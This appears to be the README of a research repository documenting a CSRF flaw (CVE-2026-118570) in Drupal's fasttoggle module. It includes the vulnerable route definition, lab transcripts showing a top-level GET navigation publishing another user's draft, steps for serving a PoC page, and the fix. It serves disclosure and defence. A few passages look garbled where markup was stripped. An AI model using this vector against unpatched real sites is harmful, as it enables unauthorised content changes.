
Proof-of-concept and analysis for CVE-2026-118570, a CSRF flaw in Drupal's fasttoggle toggle route, with a browser PoC page, test transcript, and fix diff.
/fasttoggle/{entity_type}/{entity_id}/{action} carried no _csrf_token, and the
toggle is a GET. Get somebody who holds use fasttoggle onto a page you control,
and their browser performs the write for you.
| CVE | CVE-2026-118570, assigned by Drupal.org, published 2026-10-30 |
| Advisory | SA-CONTRIB-2026-283, 2026-10-28 |
| Project | fasttoggle |
| Affected | < 4.1.1 |
| Fixed | 4.1.1 |
| CWE | CWE-352, Cross-Site Request Forgery |
| Drupal risk | Moderately critical 13/25, AC:Basic/A:None/CI:None/II:Some/E:Theoretical/TD:All |
| Tested on | Drupal 11.4.6, PHP 8.4.24, fasttoggle 4.1.0, Chromium 150.0.7871.181 |
| Credit | Reported by Nam Nguyen Le Thanh (yuwkaa). Fixed by Andrei Ivnitskii (ivnish) |
The same report produced a second advisory, SA-CONTRIB-2026-282 / CVE-2026-118569: the same route also skipped the entity access check, so the permission holder could reach content they had no rights over. This repo covers only the missing token.
fasttoggle.routing.yml in 4.1.0:
fasttoggle.toggle:
path: '/fasttoggle/{entity_type}/{entity_id}/{action}'
defaults:
_controller: '\Drupal\fasttoggle\Controller\FasttoggleController::toggle'
requirements:
_permission: 'use fasttoggle'
One _permission line, nothing else. No _csrf_token, no method restriction, so the
state change happens on a plain GET.
Worth measuring rather than assuming, because the obvious one fails. A script drives
Chromium against the released 4.1.0 on a local lab. The victim origin is
http://127.0.0.1:8087, the attacker origin is http://localhost:9099, and a third
port is an instrument that records whether a request arrived with the session cookie.
session cookie: name=SESS12ca17b49af2289436f303e0166030a2 sameSite=Lax httpOnly=True
instrument saw /probe-same-site-subresource Cookie carries SESS: True
instrument saw /probe-cross-site-subresource Cookie carries SESS: False
instrument saw /probe-cross-site-toplevel Cookie carries SESS: True
The first line is the control: a same-site subresource does carry the cookie, so the
instrument works. The second kills the textbook vector. Drupal's session cookie
defaults to SameSite=Lax, so an `` on the attacker's page never carries it:
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
instrument saw /probe-cross-site-subresource Cookie carries SESS: False
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
Unchanged before and after.
Lax does allow top-level navigation, which is all this needs, because the toggle is
a GET. A link on the attacker's page, or a window.location:
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
carol entity update=YES core field edit access: status=DENIED promote=DENIED sticky=DENIED
browser ended up at: http://127.0.0.1:8087/fasttoggle/node/53/status
nid 53 owner=4 status=1 promote=0 sticky=0 "Carol's own draft"
carol entity update=YES core field edit access: status=DENIED promote=DENIED sticky=DENIED
The draft is published. Read the second column too: core says carol may not edit the
status field, and the toggle changed it regardless, which is the other CVE showing
through on the same request.
Full browser run in poc-transcript.txt.
attacker.html is the page to serve from an origin that is not the
Drupal site. It carries both vectors side by side, the `` that does nothing and
the link that fires, so a single page shows the difference. Point it at a site you
own and edit the host and node id at the top.
python3 -m http.server 9099 # from the directory holding attacker.html
Then open http://localhost:9099/attacker.html in a browser already logged in to the
target as a user holding use fasttoggle.
use fasttoggle and who ends up on the
attacker's page. Drupal scored it AC:Basic for that reason.SameSite=None, or on a deployment that
sets the session cookie's SameSite explicitly. The measurement above is Chromium
150 against a stock Drupal 11.4.6.Not remote code execution, not an authentication bypass, and not reachable against a visitor who does not hold the permission.
4.1.1 put a token on the route and constrained the parameters:
requirements:
_permission: 'use fasttoggle'
_csrf_token: 'TRUE'
entity_type: 'node|comment'
entity_id: '\d+'
action: 'status|promote|sticky'
With _csrf_token: 'TRUE', Drupal expects a token query parameter tied to the
session, which an attacker's page cannot produce. The same release added the entity
access checks that CVE-2026-118569 was about. Full diff between the released
artefacts in fix-4.1.0-to-4.1.1.diff. That patch was read
only; the browser run was not repeated against 4.1.1.
Reported privately to the Drupal Security Team, who coordinated the fix and both advisories.
For testing systems you own or are authorised to test.